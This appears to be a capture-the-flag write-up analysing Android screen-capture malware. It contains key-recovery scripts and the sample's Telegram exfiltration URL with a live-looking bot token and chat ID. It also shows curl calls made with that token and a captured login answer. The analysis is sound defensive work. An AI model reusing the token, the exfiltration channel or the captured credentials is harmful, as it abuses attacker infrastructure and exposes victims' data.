v13 = a3 < 2;
if ( !v13 )
{
v15 = a3 - 1;
v16 = 7;
do
{
v17 = &v20[8 * v12];
v18 = v17[2] | (4 * v20[v16 - 7]) | (2 * v17[1]);
v19 = v20[v16];
v16 += 8;
a2[v12++] = v19 | (2 * ((4 * ((4 * v18) | (2 * v17[3]) | v17[4])) | (2 * v17[5]) | v17[6]));
}
while ( v16 < v7 && v12 < v15 );
}
}
else
{
v12 = 0;
}
a2[v12] = 0;
return v21;
}
Each of those functions has its own encrypted data stored in the .rodata
segment. word_E0D8
, word_E0A0
, word_E110
& word_E020
.
The cb64
function takes each word from the encrypted data, looks it up in the word_E020
table, and gets its index (a number from 0-63).
Back to ScreenCaptureService.java
class, specifically I0.c
:
public final Handler f1882d = new Handler(Looper.getMainLooper());
public final c f1883e = new c(0, this);
...
this.f1882d.post(this.f1883e);
At the end of onStartCommand
, the handler is executed.
In I0.a
, the secret key used is a combination of two parts of a string that are decrypted using RSA, then concatenated with the suffix string lBaGqqmj
.
1import base64
2
3def get_rsa_private_key():
4 encoded_rsa_key_data = [
5 0x7CB4, 0x7CCD, 0x7C70, 0x7CEC, 0x7CB4, 0x7CCD, 0x7C78, 0x7C93, 0x7CCB, 0x7CCF, 0x7CDA, 0x7CB0, 0x7CCE, 0x7CDF, 0x7C90, 0x7CCD, 0x7CCF, 0x7C70, 0x7CA6, 0x7CDD, 0x7CCF, 0x7CA9, 0x7CB0, 0x7CB0, 0x7CD0, 0x7CE2, 0x7CA9, 0x7CCF, 0x7CCB, 0x7CCD, 0x7C90, 0x7CB4, 0x7CCB, 0x7CD0, 0x7CE2, 0x7CEC, 0x7CB4, 0x7CCD, 0x7C70, 0x7CEC, 0x7CB4, 0x7CC9, 0x7CE7, 0x7CB6, 0x7CCD, 0x7CCF, 0x7CE3, 0x7CA0, 0x7CD0, 0x7C87, 0x7CDA, 0x7CB0, 0x7CC9, 0x7CE2, 0x7CA9, 0x7C90, 0x7CCD, 0x7C70, 0x7CB0, 0x7CE5, 0x7CCF, 0x7CCF, 0x7CB6, 0x7C5C, 0x7CB5, 0x7C81, 0x7CBC, 0x7C4A, 0x7CD7, 0x7CCF, 0x7CD8, 0x7C6B, 0x7CCE, 0x7C81, 0x7CE3, 0x7CE0, 0x7CDB, 0x7CA9, 0x7C8C, 0x7CE9, 0x7CD0, 0x7C70, 0x7CE7, 0x7CEE, 0x7CD3, 0x7CE2, 0x7CEC, 0x7C81, 0x7CD4, 0x7CA0, 0x7CD0, 0x7CCD, 0x7CCF, 0x7CE0, 0x7CAF, 0x7CEE, 0x7CD4, 0x7C87, 0x7CE3, 0x7CE5, 0x7CCF, 0x7CA9, 0x7CD0, 0x7CE2, 0x7CD1, 0x7CE4, 0x7CB0, 0x7C4E, 0x7CD1, 0x7CCF, 0x7CD4, 0x7CC9, 0x7CD1, 0x7CCF, 0x7CB0, 0x7C81, 0x7CB5, 0x7CE4, 0x7CDE, 0x7C78, 0x7CD6, 0x7CAB, 0x7CE7, 0x7CC9, 0x7CD8, 0x7CD2, 0x7CCB, 0x7CE3, 0x7C93, 0x7CE0, 0x7CD0, 0x7C90, 0x7CD8, 0x7C78, 0x7CCB, 0x7CCD, 0x7CCD, 0x7C70, 0x7CC3, 0x7CEE, 0x7CCE, 0x7C87, 0x7CE7, 0x7CD4, 0x7CCD, 0x7CA6, 0x7CE7, 0x7CEC, 0x7CCB, 0x7CCF, 0x7CE7, 0x7CCF, 0x7CD7, 0x7C81, 0x7C78, 0x7CBC, 0x7CB4, 0x7C78, 0x7CA9, 0x7CD4, 0x7CD6, 0x7CD1, 0x7CB6, 0x7CB7, 0x7CD4, 0x7C78, 0x7CD0, 0x7CB6, 0x7CCE, 0x7CA9, 0x7CE2, 0x7C70, 0x7CDB, 0x7CA6, 0x7C4E, 0x7CE0, 0x7CCB, 0x7CD0, 0x7CB0, 0x7CBD, 0x7CDA, 0x7CD1, 0x7CAF, 0x7CEE, 0x7CCF, 0x7CCF, 0x7CA6, 0x7C5C, 0x7CD3, 0x7CE4, 0x7CB6, 0x7CC9, 0x7CD7, 0x7CE0, 0x7CD0, 0x7CD0, 0x7CD8, 0x7CD1, 0x7CB0, 0x7C87, 0x7CCB, 0x7CE5, 0x7CDE, 0x7CD2, 0x7CCE, 0x7CD2, 0x7CE3, 0x7CEE, 0x7CB6, 0x7CE5, 0x7CDE, 0x7CE9, 0x7CD3, 0x7CCF, 0x7CDD, 0x7CB3, 0x7CD6, 0x7CD2, 0x7CE6, 0x7C6B, 0x7CD8, 0x7CD2, 0x7CB6, 0x7CAF, 0x7CD8, 0x7C6B, 0x7CE3, 0x7CB6, 0x7CCB, 0x7C87, 0x7CE3, 0x7C93, 0x7CC9, 0x7CCF, 0x7CE3, 0x7C4E, 0x7CB7, 0x7CA0, 0x7CB0, 0x7CE9, 0x7CD0, 0x7CAD, 0x7CE7, 0x7CB5, 0x7CD7, 0x7CE4, 0x7CD8, 0x7CBC, 0x7CB5, 0x7CD1, 0x7C4E, 0x7CED, 0x7CD8, 0x7CE0, 0x7C90, 0x7CD6, 0x7CCD, 0x7C5C, 0x7CC3, 0x7CE8, 0x7CD7, 0x7CCF, 0x7C4E, 0x7CE6, 0x7CCF, 0x7CE5, 0x7CD0, 0x7C4A, 0x7CDA, 0x7CD2, 0x7CD4, 0x7C70, 0x7CCB, 0x7CCF, 0x7CDA, 0x7CD1, 0x7CB5, 0x7CD1, 0x7CBC, 0x7C78, 0x7CB7, 0x7CCE, 0x7CB6, 0x7CCD, 0x7CDB, 0x7CE4, 0x7CB0, 0x7CBD, 0x7CCD, 0x7C81, 0x7CB0, 0x7CE0, 0x7CCF, 0x7CCF, 0x7CE3, 0x7CA6, 0x7CC9, 0x7CD0, 0x7CA9, 0x7C90, 0x7CC9, 0x7CDD, 0x7CE7, 0x7C90, 0x7CD7, 0x7C70, 0x7CDA, 0x7C90, 0x7CCB, 0x7CA6, 0x7CEC, 0x7CE2, 0x7CCD, 0x7CAD, 0x7CD4, 0x7CD3, 0x7CDA, 0x7CA0, 0x7CE2, 0x7C81, 0x7CDA, 0x7CE2, 0x7C4E, 0x7CE5, 0x7CC9, 0x7CD0, 0x7C90, 0x7CCF, 0x7CCF, 0x7C5C, 0x7CEA, 0x7C87, 0x7CD3, 0x7C78, 0x7CB0, 0x7CAD, 0x7CDB, 0x7CE5, 0x7CD0, 0x7CB6, 0x7CD3, 0x7C81, 0x7CE3, 0x7CB0, 0x7CD3, 0x7C6B, 0x7CAF, 0x7CE9, 0x7CDA, 0x7CE4, 0x7CDE, 0x7CE6, 0x7CD0, 0x7CD0, 0x7CA9, 0x7CD4, 0x7CD4, 0x7C81, 0x7CDE, 0x7CE7, 0x7CCD, 0x7CD0, 0x7CD4, 0x7CEE, 0x7CCB, 0x7CD1, 0x7CD0, 0x7CB6, 0x7CCE, 0x7CE4, 0x7CDE, 0x7CD3, 0x7CD0, 0x7CCE, 0x7CD0, 0x7CE5, 0x7CD6, 0x7C81, 0x7CD4, 0x7CB3, 0x7CD7, 0x7CD2, 0x7CB6, 0x7CAB, 0x7CDA, 0x7CCF, 0x7CDA, 0x7C70, 0x7C93, 0x7CE2, 0x7CD8, 0x7C78, 0x7CB3, 0x7C81, 0x7C78, 0x7C78, 0x7CB5, 0x7CA6, 0x7CDA, 0x7C70, 0x7CB4, 0x7C6B, 0x7CC9, 0x7C5C, 0x7CD8, 0x7CD0, 0x7CDA, 0x7C81, 0x7CD0, 0x7CA6, 0x7CD3, 0x7C70, 0x7CB7, 0x7CA0, 0x7CD4, 0x7CEC, 0x7CCF, 0x7C6B, 0x7CDD, 0x7C5C, 0x7CD7, 0x7CE5, 0x7CE6, 0x7C81, 0x7CD6, 0x7CA9, 0x7CD0, 0x7C5C, 0x7CD1, 0x7CAB, 0x7CD4, 0x7CB3, 0x7CD3, 0x7CD1, 0x7CE6, 0x7CE9, 0x7CD6, 0x7CCF, 0x7CB6, 0x7C6B, 0x7CB5, 0x7C81, 0x7C4E, 0x7CDF, 0x7CD0, 0x7C87, 0x7CDE, 0x7CE7, 0x7CCD, 0x7CA0, 0x7CB6, 0x7CED, 0x7CD1, 0x7CE0, 0x7CB6, 0x7C93, 0x7CCE, 0x7CE0, 0x7CA9, 0x7C87, 0x7CB7, 0x7CA9, 0x7CB6, 0x7CD1, 0x7CCF, 0x7CD2, 0x7CDA, 0x7C87, 0x7CB6, 0x7CE3, 0x7C8C, 0x7C4A, 0x7CD8, 0x7CD1, 0x7CCF, 0x7CB3, 0x7CDB, 0x7CA0, 0x7CAF, 0x7CEE, 0x7CDB, 0x7CCE, 0x7CD4, 0x7CD3, 0x7CC9, 0x7CE4, 0x7CDA, 0x7CE0, 0x7CD4, 0x7C6B, 0x7CA9, 0x7CEC, 0x7CCF, 0x7CE5, 0x7CB6, 0x7CBC, 0x7CD6, 0x7CAB, 0x7CD4, 0x7CE4, 0x7CB5, 0x7CE2, 0x7CCB, 0x7CEE, 0x7CD1, 0x7CE2, 0x7CC1, 0x7CBD, 0x7CD1, 0x7CA9, 0x7CA9, 0x7CCE, 0x7CD8, 0x7CE5, 0x7CE6, 0x7C78, 0x7CD7, 0x7C81, 0x7CD0, 0x7CE2, 0x7CCE, 0x7CAB, 0x7CA6, 0x7C81, 0x7CD4, 0x7CA6, 0x7CC9, 0x7CE9, 0x7CCE, 0x7CE5, 0x7CA9, 0x7C78, 0x7CCD, 0x7C87, 0x7CCF, 0x7C6B, 0x7CD4, 0x7C70, 0x7CD0, 0x7CA0, 0x7CCF, 0x7CD0, 0x7CA9, 0x7CA6, 0x7CB4, 0x7C81, 0x7CD0, 0x7CA9, 0x7CC9, 0x7C81, 0x7CCB, 0x7CE2, 0x7CCD, 0x7CE2, 0x7CBD, 0x7CB4, 0x7CD0, 0x7CD2, 0x7CE2, 0x7C4E, 0x7CCF, 0x7CC9, 0x7CE6, 0x7CBC, 0x7CD7, 0x7CE4, 0x7CD4, 0x7CDF, 0x7CDB, 0x7CE2, 0x7CEA, 0x7C4E, 0x7CD0, 0x7C6B, 0x7CCB, 0x7CEA, 0x7CD7, 0x7CCE, 0x7CCB, 0x7CE7, 0x7CD6, 0x7C70, 0x7CEC, 0x7C93, 0x7CCB, 0x7CD1, 0x7CA9, 0x7CCF, 0x7CD8, 0x7CAD, 0x7CD4, 0x7CCB, 0x7CD1, 0x7CCF, 0x7CB5, 0x7C81, 0x7CB3, 0x7C81, 0x7CD3, 0x7CE9, 0x7CD4, 0x7CAB, 0x7CDE, 0x7CED, 0x7CB5, 0x7C87, 0x7C90, 0x7CB4, 0x7CD8, 0x7CA0, 0x7C90, 0x7CAB, 0x7CDA, 0x7CAD, 0x7CE6, 0x7C4A, 0x7CD0, 0x7C81, 0x7CC3, 0x7CB7, 0x7CCF, 0x7CE0, 0x7CA9, 0x7CC9, 0x7CDB, 0x7CAB, 0x7CB0, 0x7CCD, 0x7CB5, 0x7CD2, 0x7CDE, 0x7CB7, 0x7CD7, 0x7CE3, 0x7CA9, 0x7CCE, 0x7CD8, 0x7C5C, 0x7CEC, 0x7CE7, 0x7CD8, 0x7CE4, 0x7CCF, 0x7C87, 0x7CD8, 0x7C81, 0x7CC9, 0x7CEE, 0x7C93, 0x7CE3, 0x7CDE, 0x7CB7, 0x7CC9, 0x7CE4, 0x7CC3, 0x7C4E, 0x7CD8, 0x7CA9, 0x7C90, 0x7CE6, 0x7CC9, 0x7CD1, 0x7CEC, 0x7CA9, 0x7CC9, 0x7CD2, 0x7CB0, 0x7CA6, 0x7CD7, 0x7CE3, 0x7CA9, 0x7CD6, 0x7CCB, 0x7C6B, 0x7CDA, 0x7CCF, 0x7CD0, 0x7CA0, 0x7CDE, 0x7CE4, 0x7CD0, 0x7CA9, 0x7CA9, 0x7CCD, 0x7CD1, 0x7CAB, 0x7CC3, 0x7CE3, 0x7CD8, 0x7CCF, 0x7CD4, 0x7CE8, 0x7CD0, 0x7C6B, 0x7CB6, 0x7CA6, 0x7CCD, 0x7C70, 0x7CC3, 0x7CBA, 0x7CCB, 0x7CD0, 0x7CD0, 0x7CCB, 0x7CDA, 0x7C87, 0x7CDE, 0x7CED, 0x7CD8, 0x7CA0, 0x7CA6, 0x7C87, 0x7CD7, 0x7CAD, 0x7CE2, 0x7C78, 0x7CDA, 0x7CE2, 0x7CB6, 0x7CE5, 0x7CB5, 0x7CD2, 0x7CE3, 0x7C4E, 0x7CDB, 0x7CAB, 0x7CC3, 0x7CB6, 0x7CD0, 0x7CD1, 0x7CD0, 0x7CDE, 0x7CCD, 0x7CD1, 0x7C4A, 0x7CB3, 0x7CD6, 0x7CD1, 0x7CB5, 0x7C4A, 0x7CDB, 0x7CD0, 0x7CCF, 0x7CBD, 0x7CCF, 0x7C70, 0x7CCF, 0x7C78, 0x7CC9, 0x7CE5, 0x7CD4, 0x7CD6, 0x7CDA, 0x7C81, 0x7CCB, 0x7C93, 0x7CD1, 0x7CCF, 0x7C78, 0x7CD3, 0x7CD0, 0x7CE2, 0x7C4E, 0x7CD2, 0x7CB6, 0x7CD1, 0x7C78, 0x7CCD, 0x7CB3, 0x7C70, 0x7CEC, 0x7CE2, 0x7CD7, 0x7CA0, 0x7CCB, 0x7CEE, 0x7CB4, 0x7C6B, 0x7CD0, 0x7CE9, 0x7CCF, 0x7CCF, 0x7CE7, 0x7C90, 0x7CC9, 0x7CD0, 0x7CD0, 0x7CBC, 0x7CCE, 0x7C70, 0x7CDD, 0x7C87, 0x7CB6, 0x7CE5, 0x7CD8, 0x7C78, 0x7CCE, 0x7C81, 0x7CB0, 0x7CB3, 0x7CCF, 0x7C87, 0x7CE3, 0x7CE9, 0x7CC9, 0x7CD0, 0x7C90, 0x7CBA, 0x7CD6, 0x7CD2, 0x7CB6, 0x7CD1, 0x7CCE, 0x7CCE, 0x7CB0, 0x7C81, 0x7CD7, 0x7C78, 0x7CA9, 0x7CD1, 0x7CD8, 0x7CC9, 0x7CE6, 0x7C4A, 0x7CDB, 0x7CAB, 0x7CB6, 0x7CCB, 0x7CB5, 0x7C70, 0x7CDE, 0x7CB6, 0x7CDA, 0x7CD1, 0x7CB0, 0x7CDE, 0x7CCE, 0x7CE4, 0x7CD4, 0x7CBA, 0x7CD0, 0x7C81, 0x7CB0, 0x7CAD, 0x7CCE, 0x7C78, 0x7CA9, 0x7CA6, 0x7CD7, 0x7C70, 0x7C78, 0x7CB7, 0x7CCB, 0x7CA9, 0x7CA6, 0x7C87, 0x7CCD, 0x7CE4, 0x7CE7, 0x7C70, 0x7CCD, 0x7CCD, 0x7CEC, 0x7CCD, 0x7CCE, 0x7C70, 0x7CE6, 0x7CEE, 0x7CCF, 0x7C78, 0x7CC9, 0x7C6B, 0x7CD7, 0x7CE0, 0x7C90, 0x7CD2, 0x7CDA, 0x7C81, 0x7CD3, 0x7C70, 0x7CB4, 0x7C81, 0x7CA6, 0x7C70, 0x7CCF, 0x7C78, 0x7CB0, 0x7CAB, 0x7CCE, 0x7C5C, 0x7CEC, 0x7CD2, 0x7CDB, 0x7CCE, 0x7CCB, 0x7CAB, 0x7CD3, 0x7CD0, 0x7CE3, 0x7CCB, 0x7CCD, 0x7CE2, 0x7CA9, 0x7CE4, 0x7CCF, 0x7CE0, 0x7CE2, 0x7CEE, 0x7C93, 0x7CE4, 0x7CBD, 0x7C90, 0x7CD4, 0x7CCE, 0x7CDE, 0x7CB6, 0x7CB7, 0x7CA6, 0x7CD0, 0x7CB6, 0x7CD1, 0x7CE2, 0x7C78, 0x7CC9, 0x7CC9, 0x7C6B, 0x7CC9, 0x7C78, 0x7CDB, 0x7CE5, 0x7CD0, 0x7C5C, 0x7CB5, 0x7CD1, 0x7CB6, 0x7CBC, 0x7CCF, 0x7CCE, 0x7CDE, 0x7CBA, 0x7CD3, 0x7CD0, 0x7CD0, 0x7CE2, 0x7CB4, 0x7C81, 0x7CC3, 0x7CCE, 0x7CD7, 0x7CE5, 0x7CD0, 0x7CBD, 0x7CD1, 0x7CA9, 0x7CE3, 0x7C70, 0x7CD8, 0x7CCE, 0x7CE3, 0x7CB5, 0x7CB6, 0x7C78, 0x7CD4, 0x7CC9, 0x7CB5, 0x7CE3, 0x7CDA, 0x7C4A, 0x7CB7, 0x7CA9, 0x7CDE, 0x7CE6, 0x7CDA, 0x7C6B, 0x7CD0, 0x7CBF, 0x7CB5, 0x7CE3, 0x7CAF, 0x7C81, 0x7CB6, 0x7C5C, 0x7CEC, 0x7C93, 0x7CD0, 0x7CCF, 0x7CEC, 0x7C87, 0x7CB4, 0x7C70, 0x7CBD, 0x7C87, 0x7CD0, 0x7CAB, 0x7CE6, 0x7CB3, 0x7CD7, 0x7CE4, 0x7CDA, 0x7CB6, 0x7CCB, 0x7C78, 0x7CDE, 0x7CDE, 0x7CD0, 0x7CD1, 0x7CE7, 0x7CED, 0x7CCE, 0x7CE2, 0x7CA9, 0x7CD6, 0x7CCF, 0x7CCF, 0x7CD4, 0x7CAD, 0x7CDB, 0x7CE3, 0x7CD0, 0x7CCB, 0x7CCD, 0x7CE2, 0x7CA9, 0x7CB4, 0x7CB5, 0x7CCF, 0x7C4E, 0x7CA0, 0x7CD6, 0x7C78, 0x7CDE, 0x7CCD, 0x7CB7, 0x7CA6, 0x7CDA, 0x7C90, 0x7CD1, 0x7CE2, 0x7CDE, 0x7CA0, 0x7CD6, 0x7CA9, 0x7CD4, 0x7CB3, 0x7CD8, 0x7C78, 0x7CDE, 0x7CBA, 0x7CD0, 0x7CE4, 0x7CD4, 0x7C6B, 0x7CD1, 0x7CD0, 0x7CD0, 0x7C93, 0x7CDB, 0x7CCD, 0x7CEC, 0x7CD3, 0x7CCD, 0x7C81, 0x7CEC, 0x7CCF, 0x7CDA, 0x7CD2, 0x7CDD, 0x7C70, 0x7CDA, 0x7C87, 0x7CE7, 0x7CC9, 0x7CB6, 0x7CA9, 0x7CD8, 0x7CEE, 0x7CD4, 0x7CE2, 0x7CCB, 0x7CE4, 0x7CB7, 0x7CC9, 0x7CE7, 0x7CD4, 0x7CD8, 0x7C70, 0x7CBD, 0x7CA0, 0x7CCB, 0x7CA0, 0x7C90, 0x7C93, 0x7CD8, 0x7C70, 0x7CE3, 0x7CAD, 0x7CB5, 0x7CCE, 0x7CD4, 0x7C78, 0x7CD8, 0x7CCE, 0x7CE3, 0x7CD3, 0x7CCD, 0x7C81, 0x7CD0, 0x7CE7, 0x7CCB, 0x7CE3, 0x7CD4, 0x7CA6, 0x7CCF, 0x7CE4, 0x7CB5, 0x7CBC, 0x7CD4, 0x7CD2, 0x7C90, 0x7CE9, 0x7CC9, 0x7C6B, 0x7CAF, 0x7CEE, 0x7CD6, 0x7CCE, 0x7CD0, 0x7CAB, 0x7CC9, 0x7CCF, 0x7C78, 0x7CA9, 0x7CD7, 0x7C87, 0x7CDE, 0x7CC9, 0x7CD8, 0x7CD0, 0x7CA6, 0x7CC3, 0x7CBA, 0x7CC9, 0x7CE6, 0x7CEC, 0x7CB4, 0x7CCD, 0x7C70, 0x7CEC, 0x7CB4, 0x7CCF, 0x7CD0, 0x7CB7, 0x7CCB, 0x7C93, 0x7C90, 0x7CCD, 0x7CCF, 0x7C70, 0x7CA6, 0x7CDD, 0x7CCF, 0x7CA9, 0x7CB0, 0x7CB0, 0x7CD0, 0x7CE2, 0x7CA9, 0x7CCF, 0x7CCB, 0x7CCD, 0x7C90, 0x7CB4, 0x7CCB, 0x7CD0, 0x7CE2, 0x7CEC, 0x7CB4, 0x7CCD, 0x7C70, 0x7CEC, 0x7CB4, 0x7CC9
6 ]
7
8 lookup_table = [
9 0x7C8C, 0x7C90, 0x7C93, 0x7CA0, 0x7CA6, 0x7CA9, 0x7CAB, 0x7CAD, 0x7CAF, 0x7CB0, 0x7CB3, 0x7CB4, 0x7CB5, 0x7CB6, 0x7CB7, 0x7CBA, 0x7CC9, 0x7CCB, 0x7CCD, 0x7CCE, 0x7CCF, 0x7CD0, 0x7CD1, 0x7CD2, 0x7CD3, 0x7CD4, 0x7CD6, 0x7CD7, 0x7CD8, 0x7CDA, 0x7CDB, 0x7CDC, 0x7CDD, 0x7CDE, 0x7CDF, 0x7CE0, 0x7CE2, 0x7CE3, 0x7CE4, 0x7CE5, 0x7CE6, 0x7CE7, 0x7CE8, 0x7CE9, 0x7CEA, 0x7CEC, 0x7CED, 0x7CEE, 0x7C4A, 0x7C4E, 0x7C5C, 0x7C6B, 0x7C70, 0x7C78, 0x7C81, 0x7C87, 0x7CBC, 0x7CBD, 0x7CBF, 0x7CC0, 0x7CC1, 0x7CC3, 0x7CC5, 0x7CC8
10 ]
11
12 standard_b64_alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
13 base64_string = ""
14
15 for word in encoded_rsa_key_data:
16 index = lookup_table.index(word)
17 base64_string += standard_b64_alphabet[index]
18
19 padding = "=" * (-len(base64_string) % 4)
20 base64_string_padded = base64_string + padding
21
22 rsa_key_pem = base64.b64decode(base64_string_padded).decode('utf-8')
23 print(rsa_key_pem)
24 return rsa_key_pem
25
26rsa_private_key_string = get_rsa_private_key()
The RSA private key was obtained.
$ python3 rsaprivkey.py
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCr3n0mG3OicxP+WJobKvd5RR2/gygPUdZbqYFPYBv2huhjPqte
5AsTRKOoOzYHJmEJTomx/QYicNgUMLY4xLcERyub/QA2bcPn5UqbwFxWMyo6xkaH
iz3qsHs9MGyBAIq82kTzLng81lnr0ZK/jmLhRupuvtEGV1n593RzbyKbcQIDAQAB
AoGADKdHvXt96vLgAPTS+7cRGzuMciIc2+vhhUQYghiIVoEeMNhXU5gkfJmsFuGt
G5+mu0Gt/42qWvTF486mS82nz6hUrXfJaj+iCs3lbWxiH3nZ3BN1w8SVQww6P0qe
x2/y6XBgcg1mRsxhff2DoZO9XQSrz5oedLa6dD+NquKu3gECQQD/eECddJNKUy1Q
8nfbzK1W4lm4ikKBEaTpvQYC6+f+dhn3pKp0Ftz0WoNR1PxbR1xNnQSs+ire7sd/
XNBoqpPhAkEArDnQZG7TT8fTQRXoeqFjW3DKOOEUQwxnp17ly5vCg1yqxoMUeaIl
ic0yU9SE5BvZwdBYMXVLW5mR+Kdl4o/5kQJAAUxOH76w5ObJSykAPOisVM2voQVq
0xcQ3HMubaNfOWbGOQDoMNDQ7JjtI+ROJ/ST3n0Wwf4/a4SRFO+Wy4FaYQJAfR9/
nAe8M8EMZMPC45zur1cxQ8OaUd/oSnuyXYtq9L7VP2Wp8Xhw5z2R67+BUKw/NwTj
ngMGXaUjnNAZQFGzUQJAK1LCkXR8GAZHChVJsXOVfsYUBy+XKkTux4wzP4W/fDf9
YsNCD0BsIG16uq9XKeiFVDRc8epkC2/i5FAMEoxPqQ==
-----END RSA PRIVATE KEY-----
To get the secret key, we first need to get:
- Base64 ciphertext from the
f394c
variable inI0.a.java
. - hardcoded suffix
lBaGqqmj
from the b variable inI0.a.java
.
So, we must reconstruct the AES key exactly as the application does: [RSA Decryption Result] + "lBaGqqmj"
. The final script is as follows:
1import base64
2from Crypto.PublicKey import RSA
3from Crypto.Cipher import PKCS1_v1_5
4
5def get_final_aes_key():
6 rsa_private_key_pem = """-----BEGIN RSA PRIVATE KEY-----
7MIICWwIBAAKBgQCr3n0mG3OicxP+WJobKvd5RR2/gygPUdZbqYFPYBv2huhjPqte
85AsTRKOoOzYHJmEJTomx/QYicNgUMLY4xLcERyub/QA2bcPn5UqbwFxWMyo6xkaH
9iz3qsHs9MGyBAIq82kTzLng81lnr0ZK/jmLhRupuvtEGV1n593RzbyKbcQIDAQAB
10AoGADKdHvXt96vLgAPTS+7cRGzuMciIc2+vhhUQYghiIVoEeMNhXU5gkfJmsFuGt
11G5+mu0Gt/42qWvTF486mS82nz6hUrXfJaj+iCs3lbWxiH3nZ3BN1w8SVQww6P0qe
12x2/y6XBgcg1mRsxhff2DoZO9XQSrz5oedLa6dD+NquKu3gECQQD/eECddJNKUy1Q
138nfbzK1W4lm4ikKBEaTpvQYC6+f+dhn3pKp0Ftz0WoNR1PxbR1xNnQSs+ire7sd/
14XNBoqpPhAkEArDnQZG7TT8fTQRXoeqFjW3DKOOEUQwxnp17ly5vCg1yqxoMUeaIl
15ic0yU9SE5BvZwdBYMXVLW5mR+Kdl4o/5kQJAAUxOH76w5ObJSykAPOisVM2voQVq
160xcQ3HMubaNfOWbGOQDoMNDQ7JjtI+ROJ/ST3n0Wwf4/a4SRFO+Wy4FaYQJAfR9/
17nAe8M8EMZMPC45zur1cxQ8OaUd/oSnuyXYtq9L7VP2Wp8Xhw5z2R67+BUKw/NwTj
18ngMGXaUjnNAZQFGzUQJAK1LCkXR8GAZHChVJsXOVfsYUBy+XKkTux4wzP4W/fDf9
19YsNCD0BsIG16uq9XKeiFVDRc8epkC2/i5FAMEoxPqQ==
20-----END RSA PRIVATE KEY-----"""
21
22 b64_ciphertext = "Ud1PxFTYWLrqDduwBCfbRnbOGT2AasCFObFWPHInhsg9eACzYirAHSaqa9QCmcgrA7aQDVRuOxmYyy5U3h1jLQbCz97cNjEUCVl1Hk6G7L/uOGqCOsp1aabaQ7hBoIVL9E00OMRK7uVtQQgT4CzJZXI1fsLovFG1MBNdENGVE8M="
23 ciphertext = base64.b64decode(b64_ciphertext)
24
25 suffix = "lBaGqqmj"
26
27 try:
28 private_key = RSA.import_key(rsa_private_key_pem)
29 cipher_rsa = PKCS1_v1_5.new(private_key)
30
31 sentinel = b'DECRYPTION FAILED'
32 decrypted_part = cipher_rsa.decrypt(ciphertext, sentinel).decode('utf-8')
33 final_aes_key = decrypted_part + suffix
34 print("Decrypted:", decrypted_part)
35
36 print("\n" + "="*42)
37 print(f"[+] AES SECRET KEY FINAL: {final_aes_key}")
38 print("="*42)
39
40 except Exception as e:
41 print(f"\n!!! Failed to decrypt RSA: {e}")
42
43get_final_aes_key()
$ python3 finalsecretkey.py
Decrypted: dPGgF7tQ
==========================================
[+] AES SECRET KEY FINAL: dPGgF7tQlBaGqqmj
==========================================
Hufft.. it’s finally done after all 😮💨.
6. Where the encrypted image sent to?
Format: Application Name (i.e. Pastebin)
Answer: Telegram
Based on the code analysis, the encrypted image is sent to Telegram.
In I0.c.java
file, this class is responsible for taking an encrypted image, saving it to a file, and then sending it to a destination.
String str3 = "https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument";
The URL https://api.telegram.org/ is the endpoint for the Telegram Bot API. The subsequent code builds a network request that sends the .enc
file as a “document” to a specific chat_id
through the Telegram bot. This clearly shows that the destination application is Telegram.
7. What is the bot API token?
Answer: 8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q
The token was found in the exact same place as the previous answer, which is inside the I0.c.java
file.
To find this token requires understanding the structure of the Telegram Bot API URL. The format is always:
https://api.telegram.org/bot<TOKEN>/<NAMA_METODE>
- Prefix:
https://api.telegram.org/bot
- TOKEN:
8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q
- METHOD:
/sendDocument
8. What is the bot username?
Answer: guntershelpsBot
We can find the bot’s username very easily using the API token we already have.
By calling the getMe
method from the Telegram API, which will provide detailed information about the bot.
$ curl https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/getMe
{"ok":true,"result":{"id":8369776437,"is_bot":true,"first_name":"gunters-helper","username":"guntershelpsBot","can_join_groups":true,"can_read_all_group_messages":false,"supports_inline_queries":false,"can_connect_to_business":false,"has_main_web_app":false}}
9. What is the group name and invite link?
Format: (name,link)
Example: namagrup,http://jajangmyeon.com/aua872sna
Answer: mycrib,https://t.me/+RVvaMCn_f7FmZmFl
To get the group name:
If we look back at the I0.c.java
, there’s a lines of code that explicitly define the destination chat_id
:
byte[] bytes = "-1002300479215".getBytes(c1.a.f1544a);
arrayList.add(d.r("chat_id", null, new v(null, length, bytes, 0)));
From this, we know that the group’s Chat ID is -1002300479215
.
Similar to the getMe
method for getting bot info, there’s a getChat
method to get information about a group if its chat_id
is known.
The URL format is:
https://api.telegram.org/bot<TOKEN>/getChat?chat_id=<CHAT_ID>
Full URL:
https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/getChat?chat_id=-1002300479215
$ curl https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/getChat?chat_id=-1002300479215
{"ok":true,"result":{"id":-1002300479215,"title":"mycrib","type":"supergroup","has_visible_history":true,"permissions":{"can_send_messages":false,"can_send_media_messages":false,"can_send_audios":false,"can_send_documents":false,"can_send_photos":false,"can_send_videos":false,"can_send_video_notes":false,"can_send_voice_notes":false,"can_send_polls":false,"can_send_other_messages":false,"can_add_web_page_previews":false,"can_change_info":false,"can_invite_users":false,"can_pin_messages":false,"can_manage_topics":true},"join_to_send_messages":true,"accepted_gift_types":{"unlimited_gifts":false,"limited_gifts":false,"unique_gifts":false,"premium_subscription":false},"available_reactions":[],"max_reaction_count":11,"accent_color_id":6}}
The group name was found to be mycrib
.
To get the Group URL:
We can first access the bot via its URL https://t.me/<BOT-NAME>
. In this case, the bot’s name was get from a previous question guntershelpsBot
.
So, the bot’s link is https://t.me/guntershelpsBot. Next, visit this link.
When we go to start a chat with the bot, it will display the group link in the “What can this bot do?” starter message.

10. What is the login credential that was captured and sent at this window of time [Tuesday, July 29, 2025 5:26 AM - Tuesday, July 29, 2025 5:30 AM]?
Format: username:password
Answer: operator1337:HM1_standin9_Str0nk
For the last question, we need to see what captured logs were sent within the specified time frame: [Tuesday, July 29, 2025, 5:26 AM - Tuesday, July 29, 2025, 5:30 AM]

